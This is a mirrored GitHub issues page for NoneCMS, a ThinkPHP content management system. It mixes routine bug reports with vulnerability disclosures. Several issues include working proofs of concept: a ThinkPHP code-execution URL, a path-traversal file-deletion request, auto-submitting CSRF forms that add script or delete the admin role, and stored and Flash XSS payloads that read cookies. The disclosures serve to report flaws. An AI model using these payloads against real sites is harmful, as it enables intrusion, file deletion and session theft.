Giter Site home page Giter Site logo

nangge / nonecms Goto Github PK

View Code? Open in Web Editor NEW
271.0 271.0 120.0 13.3 MB

基于thinkphp5.1 的内容管理系统,可快速搭建博客、企业站;并且增加了实时聊天室

Home Page: http://www.5none.com

License: Other

PHP 22.59% HTML 6.19% CSS 7.99% JavaScript 62.04% PLpgSQL 0.05% Smarty 0.42% TSQL 0.72%
blog cms thinkphp thinkphp5

nonecms's People

Contributors

dependabot[bot] avatar nangge avatar zhl2015 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

nonecms's Issues

增加用户权限真是个坑啊

先不说界面吧,点击确定无反应啊!
难得写了一大段JS代码,还用了layui框架,可是无效果啊。
自己水平有限,看着干着急:(

严重bug

后台图像上传没有验证
namespace app\admin\controller;
Main.php->upload()
** 代码:
$info = $file->move(ROOT_PATH . 'public/uploads');
** 修为
$info = $file->validate(['size'=>15678,'ext'=>'jpg,png,gif'])->move(ROOT_PATH . 'public/uploads');

** uploadEditor一样

There is a code execution vulnerability that can getshell

thinkphp/library/think/App.php

public function routeCheck()
    {
        $path = $this->request->path();
        $depr = $this->config('app.pathinfo_depr');
 public function path()
    {
        if (is_null($this->path)) {
            $suffix   = $this->config->get('url_html_suffix');
            $pathinfo = $this->pathinfo();
            if (false === $suffix) {
                // 禁止伪静态访问
public function pathinfo()
    {
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->config->get('var_pathinfo')])) {
                // 判断URL里面是否有兼容模式参数
                $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
                unset($_GET[$this->config->get('var_pathinfo')]);
            } elseif ($this->isCli()) {
                // CLI模式下 index.php module/controller/action/params/...
                $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            }

In the process of processing the route, Config::get(‘var_pathinfo’) is used as the receiving process pathinfo, and this value is s by default.
then, it will form a calling process: index.php?s=index/\namespace\class/method
In \think\Request

public function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }

        $this->config = Container::get('config');

        if (is_null($this->filter)) {
            $this->filter = $this->config->get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

we can use input method
POC:http://localhost:90/noneCms/public/?s=index/\think\Request/input&filter=phpinfo&data=1

修复bug一枚

  • 位置:index/show/index

  • 代码:

`<?php
namespace app\index\controller;

use think\Db;
use think\View;

class Show extends Common
{
public function index()
{
$cid = input('param.cid');//栏目id
$id = input('param.id');//资源id

    //根据cid来获取表模型
    $cat_info = Db::table($this->prefix . 'category cat,'.$this->prefix . 'model mo')
        ->where('cat.modelid = mo.id')
        ->where('cat.id', $cid)
        ->find();
    //获取资源内容
    $data = Db::name($cat_info['tablename'])->find($id);
    Db::name($cat_info['tablename'])->where('id',$id)->setInc('click');//点击+1

    //图片处理
    if(isset($data['pictureurls'])){
        $data['pictureurls'] = explode('|',$data['pictureurls']);
    }
    //获取模板文件
    $template_show = $cat_info['template_show'];

    if(!$template_show) {
        $model = Db::name('model')->field('template_show')->find($cat_info['modelid']);
        $template_show = $model['template_show'];
    }
    $template = 'template/index/'. $this->theme .'/'.$template_show;
    $this->assign('content',$data);
    $this->assign('title',$data['title']);
    $this->assign('keywords',$data['keywords']);
    $this->assign('description',$data['description']);
    $this->assign('cate',$cat_info);
    $this->assign('id',$id);
    $this->assign('cid',$cid);
    return $this->fetch($template);
}

}

`

bug:

使用{position /}时由于sql查询相同字段覆盖(id被覆盖),导致id不是category的id,而是modelid的id。

修改:

    $cat_info = Db::table($this->prefix . 'model mo,'.$this->prefix . 'category cat')

说明:仅解决id的问题,暂时没发现其他冲突(可能有其他冲突)

json封装

前后端交互的json返回封装一下会更简洁
代码:
exit(json_encode(['status' => 0, 'msg' => '更新失败,请稍后重试', 'url' => '']));
封装:
/**

  • json返回
  • @param int $status over 0:success,under or equal 0:fail
  • @param string $msg msg
  • @param string $data data
  • @param string $url redirct url
  • @return json [description]
    */
    function json_rtn($status,$msg,$data=null,$url=null){
    exit(json_encode(['status' => $status, 'msg' => $msg, 'data'=>$data,'url' => $url]));
    }
    使用示例:
    json_rtn(0,'更新失败,请稍后重试');

bug及建议集合

Linux下区分大小写:
ueditor静态资源
{js href="PUBLIC/js/jquery.autotextarea.js" /}
改为:
{js href="PUBLIC/js/jquery.autoTextarea.js" /}

安装后显示没有安装?

老哥,我已经按照要求安装了,但是完成后跳转提示我没有安装,重复无效,能给个联系方式吗,请教一下

安装完成之后,根据所填的后台账号密码生成的测试数据是不对应的?因此老是报错用户名或密码错误

由于在根据源码的加密过程更改了数据库中的password字段的值,未进行记录,因此无法复现(重新安装可复现

在更改之前,一直用户密码错误,更改之后,好了

不知道是不是测试数据的问题还是设置的用户名、密码未进入数据库

测试账户: 账号:admin 密码:admin123

image
image

更改数据库数据后成功d登录!
image

The latest patch V1.3.0 of NoneCMS has a directory traversal vulnerability

The latest patch V1.3.0 of NoneCMS has a directory traversal vulnerability in application/admin/controller/Main.php. The vulnerability allows remote authenticated users to delete arbitrary files by leveraging back-office access to provide a ..\ in the path parameter which prefixes with /upload/.

In order to fix CVE-2018-6022, the NoneCMS author made the following changes to the file application\admin\controller\Main.php: ff3fc6d#diff-0eaf9046c434434ca7b2b0d5e0fa0293

We can see that the patching measure is to check if the path parameter's value prefixes with '/uploads/'. But we can still bypass it by adding the '/uploads/' prefix in combination with '..\' to implement directory traversal attack which can delete arbitrary files.

So PoC is as follows:

POST /nonecms/public/index.php/admin/main/upload.html HTTP/1.1
Host: 172.23.64.227:88
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.23.64.227:88
Referer: http://172.23.64.227:88/nonecms/public/index.php/admin/flink/edit/id/2/type/2.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; PHPSESSID=bs9k1rlmqt1qd0hsq9etv8co90
Connection: close

act=del&path=/uploads/..\..\..\..\test.txt

Before sending payload, we create a test.txt in this directory:

When we send payload, the test.txt file is deleted:

NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/nav/add.html

NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/nav/add.html, as demonstrated by adding a navigation column which can be injected arbitrary web script or HTML via the name parameter to launch a stored XSS attack.

Vulnerability code is located in application\admin\controller\Nav.php:

    /**
     * 添加导航
     * @return array|mixed
     */
    function add()
    {
        if (request()->isGet()) {
            ...
        } elseif (request()->isPost()) {
            $data = input('post.');
            if ($data['type'] == 0 && !$data['modelid']) {
                return ['status' => 0, 'msg' => '请先选择栏目模型'];
            }
            //新增导航
            $category = new Category();
            if ($category->data($data, true)->save()) {
                return ['status' => 1, 'msg' => '栏目添加成功', 'url' => url('nav/index'), 'type' => 'nav'];
            } else {
                return ['status' => 0, 'msg' => '栏目添加失败', 'url' => url('nav/index'), 'type' => 'nav'];
            }
        }

    }

No CSRF token here.

We can also use BurpSuite as proxy to see that the public/index.php/admin/nav/add.html API doesn't use csrf-token:

So we can write the PoC as follows, csrf.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://172.23.64.227:88/nonecms/public/index.php/admin/nav/add.html" method="POST">
      <input type="hidden" name="modelid" value="1" />
      <input type="hidden" name="name" value="&#60;script&#62;alert(document.cookie)&#60;&#47;script&#62;" />
      <input type="hidden" name="pid" value="45" />
      <input type="hidden" name="template_list" value="List_article.html" />
      <input type="hidden" name="template_show" value="Show_article.html" />
      <input type="hidden" name="ename" value="test" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="keywords" value="test" />
      <input type="hidden" name="description" value="test" />
      <input type="hidden" name="sort" value="" />
      <input type="hidden" name="status" value="0" />
      <input type="hidden" name="type" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <!-- JS automatically click -->
  <script>
    var m = document.getElementsByTagName('form')[0];
    m.submit();
  </script>
</html>

Before the administrator visits the malicious link, there are 7 columns in the custom navigation bar:

When the administrator visits the malicious link, the page will automatically click to trigger the CSRF attack:

Although the response status code returns 500, the navigation bar has been added successfully:

When back-end administrator accesses the background or the front-end user accesses the column, it will trigger xss attack:

bug

文件位置:
application\common\taglib\Tag.php
问题:
条件:where status = 0 and cid = 13 or cid in (2,3,4)(当分类为子类时无法隐藏删除)
应改为:where status = 0 and cid = 13 or cid in (2,3,4) and status = 0;(不知如何用tp5连续操作表达)
所以改为一级分类不能添加文章,二级才能添加文章,也有利于站点结构
修改为:
` /**
* 获取文章列表
/
public function tagArticle($tag, $content)
{
$cid = isset($tag['cid']) ? $tag['cid'] : 0;
$order = isset($tag['orderby']) ? $tag['orderby'] : '';
$limit = isset($tag['limit']) ? $tag['limit'] : 0;
$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;
$field = isset($tag['field']) ? $tag['field'] : '';
$empty = isset($tag['empty']) ? $tag['empty'] : '';
$module = request()->module();
/
$children_ids = Db::name('category')->where('pid',$cid)->field('id')->select();
print_r(array_column($children_ids,'id'));die;*/
$parse = <<<EOF
<?php
$condition['status'] = 0;

            /*存在子类,则获取子类下的文章*/
            if(!empty($cid)){
                \$condition['cid'] = $cid;
                \$children_ids = think\Db::name('category')->field('id')->where('pid',\$condition['cid'])->select();
                \$children_ids = array_column(\$children_ids,'id');
            }
            \$list = think\Db::name('article');
            if(isset(\$children_ids) && \$children_ids){
                 \$list = \$list->where(['status'=>0,'cid'=>['in',\$children_ids]]);
                 // \$list = \$list->where(\$condition);
            }else{
                \$list = \$list->where(\$condition);
            }

            if("$field" != ''){
                \$list=\$list->field("$field");
            }

            if("$order" != ''){
                \$list=\$list->order("$order");
            }

            if($pagesize > 0){
                \$list=\$list->paginate($pagesize);
                \$page = \$list->render();
            }else{
                if($limit != 0){
                    \$list=\$list->limit($limit);
                }
                \$list=\$list->select();

            }
            \$ss = think\Db::name('category')->getLastSql();
            //dump(\$ss);
            \$__LIST__ = \$list;
            foreach(\$__LIST__ as \$key => \$article):
                \$article['url'] = url('$module/show/index',['cid' => \$article['cid'],'id' => \$article['id']]);
                \$article['litpic'] = empty(\$article['litpic'])?'http://wp.iyouths.org/wp-content/themes/yusi1.0/timthumb.php?src=http://wp.iyouths.org/wp-content/themes/yusi1.0/img/pic/'.rand(1,9).'.jpg&h=122&w=180&q=90&zc=1&ct=1':img_server().\$article['litpic'];
            ?>

EOF;

    $parse .= $content;
    $parse .= '<?php endforeach;?>';
    return $parse;
}

`

NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/role/dele.html

NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/role/dele.html, as demonstrated by deleting the admin role.

Vulnerability code is located in application\admin\controller\Role.php:

    /**
     * 删除角色信息
     */
    public function dele()
    {
        $id = input('param.id/d',0);
        $role = AdminRole::get($id);
        if ($role && $role->delete()) {
            return ['status' => 1, 'msg' => '删除成功'];
        } else {
            return ['status' => 0, 'msg' => '删除失败'];
        }
    }

No CSRF token here.

So we can write the PoC as follows, csrf.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://172.23.64.227:88/nonecms/public/index.php/admin/role/dele.html">
      <input type="hidden" name="id" value="6" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <!-- JS automatically click -->
  <script>
    var m = document.getElementsByTagName('form')[0];
    m.submit();
  </script>
</html>

Before the administrator visits the malicious link, there is a admin role existing in role management page:

When the administrator visits the malicious link, the page will automatically click to trigger the CSRF attack:

Although the response status code returns 500, the admin role has been deleted successfully:

子类时为了高亮父类

/*

  • 获取顶级分类

  • @param $status mixed 是否显示||全部

  • @param $limit mixed

  • @param $pid int 父级id 0则为顶级栏目
    */
    function getTopCid($id)
    {
    //导航
    $nav = think\Db::name('category');

    do {
    $nav = $nav->where('id',$id);
    $pid = $nav->field('pid')->find();
    if ($pid['pid']) {
    $id = $pid['pid'];
    }
    } while ($pid['pid']);

    return $id;
    }

关于自定义表单

企业站或博客中,还有一个比较基础的功能就是自定义表单吧~ 例如一些联系商家的表单

执行composer update后 报错Call to undefined method app\admin\behavior\Operation::run()

部分log如下
Call Stack

in Hook.php line 127
at Hook::exec('app\admin\behavior\o...', 'action_begin', [object(Index), 'test'], null) in Hook.php line 88
at Hook::listen('action_begin', [object(Index), 'test']) in App.php line 406
at App::module(['admin', 'index', 'test'], ['app_host' => '', 'app_debug' => false, 'app_trace' => false, ...], true) in App.php line 295
at App::exec(['type' => 'module', 'module' => ['admin', 'index', 'test']], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...]) in App.php line 123
at App::run() in start.php line 18
at require('/home/free/src/noneC...') in index.php line 21

分页使用

看了好久
article 示例:

{article orderby="publishtime DESC" pagesize='15'}
//CODE...
{/article}
参数:cid, // 栏目ID
field, // 指定要取的字段
orderby, // 排序规则
limit, // 限制条数
pagesize // 分页 (pagesize 和 limit 只能选一个)

1.使用limit(则不用pagesize),调用完article标签后{$list->render()}
2.使用pagesize(则不用limit),调用完后直接用{$page}

NoneCMS V1.3.0 has a XSS vulnerability in admin/article/add.html

Cross-site scripting (XSS) vulnerability in admin/article/add.html in noneCMS v1.3.0 allows remote authenticated attackers to inject arbitrary web script or HTML via the name parameter.

By default, noneCMS uses Editor.md for users to edit their articles. However, Editor.md has a XSS vulnerability. A remote user who has the right to edit articles can inject arbitrary web script or HTML in admin/article/add.html.

PoC:<img src=x onerror=alert(document.cookie)>

bug

~/application/admin/view/public_upload.html
var upload_max = typeof(upload_max) == 'undefined'?1:upload_max;
修改:
var去掉

在mysql5.7下安装导入数据库时报错

安装写入数据表none_banner失败,错误信息Incorrect datetime value,将nonecms_data.sql 154行的2000-00-00 00:00:00改为2013-02-25解决;还有一个是安装写入数据表none_category失败,将206行数据最后加个0解决,原因是数据比表字段少一个

NoneCMS V1.3.0 has a XSS vulnerability in static/admin/js/kindeditor/plugins/multiimage/images/swfupload.swf

NoneCMS V1.3.0 has a XSS vulnerability in static/admin/js/kindeditor/plugins/multiimage/images/swfupload.swf.

I download the swfupload.swf file and I use FFdec to decompile the file. Then I find that user can control the movieName parameter which will concatenate as the value of flashReady_Callback:

Tracking the flashReady_Callback variable, it will call function ExternalCall.Simple() with one parameter flashReady_Callback:

Then I check the ExternalCall.Simple() function, this is a piece of code that exists a Flash XSS vulnerability:

So PoC is as follows:

http://192.168.203.1/noneCms/public/static/admin/js/kindeditor/plugins/multiimage/images/swfupload.swf?movieName="])}catch(e){alert(document.cookie)};//

When NoneCMS administrator visits the link in IE or Microsoft Edge, it will cause xss attack:

老哥,阿里云虚拟主机无法修改默认目录为public

如果单独把index.php 和.htaccess 移动到根目录 ,编辑index.php把 目录修改下.

首先会导致模板不存在,然后把/public/template 移动到根目录,视图文件就能载入了

然后css js 图片文件又不正常,..

最后把整个public目录的内容托到了根目录....

目前使用暂时还未发现啥问题.

对于这种虚拟主机无法默认修改目录的, 求个一劳永逸的办法...

上传图片时出现错误

第一次是每次只上传1 个图片。我看了源码(我放在PHPstudy环境下学习),D:\phpStudy2017\PHPTutorial\WWW\nonecms\application\admin\view\product_edit.html:
1 {include file="public/header" /}
2 <script type="text/javascript">
3: var upload_max = 7;//可上传图片最大数量
4 </script>
5


已经定义了upload_max=7。
但先经过其他上传图片后,再上传产品图片时,出现提示“最多上传1张图片”。???

然后我再试了几个单一图片的上传,偶尔出现系统错误提示。

新手学习基于TP5的CMS中......
请指教了

NoneCMS V1.3.0 has a stored XSS vulnerability in admin/nav/add.html

Cross-site scripting (XSS) vulnerability in admin/nav/add.html in noneCMS v1.3.0 allows remote authenticated attackers to inject arbitrary web script or HTML via the name parameter.

A remote user who has the right to modify navigation management can inject arbitrary web script or HTML in admin/nav/add.html via the name parameter to cause xss attack.

PoC:

POST /nonecms/public/index.php/admin/nav/add.html HTTP/1.1
Host: 172.23.64.227:88
Content-Length: 198
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.23.64.227:88
Referer: http://172.23.64.227:88/nonecms/public/index.php/admin/nav/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; PHPSESSID=85soeplgk5l5aha46lffd2okk0
Connection: close

modelid=1&name=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&pid=45&template_list=List_article.html&template_show=Show_article.html&ename=&position=1&keywords=&description=&sort=&status=0&type=0

After that, when other administrator visits the background and it will cause XSS attack:

When front end users visit this column, it can also cause xss attack:

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.